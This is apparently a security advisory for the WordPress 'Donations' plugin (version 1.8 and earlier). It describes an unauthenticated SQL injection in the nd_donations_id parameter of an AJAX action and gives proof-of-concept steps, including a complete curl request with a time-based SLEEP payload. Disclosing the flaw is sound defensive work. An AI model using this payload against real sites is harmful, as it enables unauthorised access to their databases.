Donations <= 1.8 - Unauthenticated SQLi

The plugin does not sanitise and escape the nd_donations_id parameter before using it in a SQL statement via the nd_donations_single_cause_form_validate_fields_php_function AJAX action (available to unauthenticated users), leading to an unauthenticated SQL Injection

PoC

Create a new “Cause” and fill out the form under “ND Donations - Cause Main Settings” (price and color, price should be a value > 1) Publish the “Cause” Visit the just created “Cause” page as an unauthenticated user and extract the nonce (CTRL+F for “nd_donations_ajaxnonce_single_cause_form_validate_fields” in the page source) curl ‘https://example.com/wp-admin/admin-ajax.php?action=nd_donations_single_cause_form_validate_fields_php_function&amp;nd;_donations_value=300&amp;nd;_donations_form_validate_fields_security=&amp;nd;_donations_id=1+AND+(SELECT+1739+FROM+(SELECT(SLEEP(5)))APRr)’